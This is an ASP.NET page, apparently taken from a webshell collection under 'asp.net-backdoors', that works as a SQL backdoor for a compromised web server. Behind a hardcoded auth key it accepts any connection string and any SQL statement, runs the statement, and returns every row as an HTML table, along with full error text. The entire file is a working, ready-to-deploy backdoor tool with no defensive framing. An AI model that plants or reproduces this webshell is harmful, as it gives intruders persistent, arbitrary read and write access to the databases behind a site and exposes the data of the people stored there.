webshell/aspx/asp.net-backdoors/sql.aspx

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2014-05-19 01:10:17 +00:00
<%@ Page Language="C#" %>
<%@ Import namespace="System.Data"%>
<%@ Import namespace="System.Data.SqlClient"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script runat="server" language="c#">
private const string AUTHKEY = "woanware";
/// <summary>
///
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
protected void btnExecute_Click(object sender, EventArgs e)
{
SqlConnection sqlConnection = null;
try
{
if (txtAuthKey.Text != AUTHKEY)
{
return;
}
sqlConnection = new SqlConnection();
sqlConnection.ConnectionString = txtConnection.Text;
sqlConnection.Open();
SqlCommand sqlCommand = null;
SqlDataReader sqlDataReader = null;
sqlCommand = new SqlCommand(txtSql.Text, sqlConnection);
sqlCommand.CommandType = CommandType.Text;
sqlDataReader = sqlCommand.ExecuteReader();
StringBuilder output = new StringBuilder();
output.Append("<table width=\"100%\" border=\"1\">");
while (sqlDataReader.Read())
{
output.Append("<tr>");
int colCount = sqlDataReader.FieldCount;
for (int index = 0; index < colCount; index++)
{
output.Append("<td>");
output.Append(sqlDataReader[index].ToString());
output.Append("</td>");
}
output.Append("</tr>");
output.Append(Environment.NewLine);
}
output.Append("</table>");
Literal1.Text = output.ToString();
}
catch (SqlException sqlEx)
{
Response.Write(sqlEx.ToString());
}
catch (Exception ex)
{
Response.Write(ex.ToString());
}
finally
{
if (sqlConnection != null)
{
sqlConnection.Dispose();
}
}
}
</script>
<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="Head1" runat="server">
<title>SQL</title>
<style type="text/css"><!--body,table,p,pre,form input,form select {font-family: "Lucida Console", monospace; font-size: 88%;}--></style>
</head>
<body>
<form id="formSql" runat="server">
<div>
<table width="100%">
<tr><td width="30">Auth Key:</td><td><asp:TextBox ID="txtAuthKey" runat="server" Height="15px" Width="100%"></asp:TextBox></td></tr>
<tr><td>Connection:</td><td><asp:TextBox ID="txtConnection" runat="server" Height="15px" Width="100%"></asp:TextBox></td></tr>
<tr><td>SQL:</td><td><asp:TextBox ID="txtSql" runat="server" Height="258px" Width="100%"></asp:TextBox></td></tr>
<tr><td>&nbsp;</td><td><asp:Button ID="btnExecute" runat="server" OnClick="btnExecute_Click" Text="Execute" /></td></tr>
<tr><td colspan="2"><asp:Literal ID="Literal1" runat="server"></asp:Literal></td></tr>
</table>
</div>
</form>
</body>
</html>
<!-- Created by Mark Woan (http://www.woanware.co.uk) -->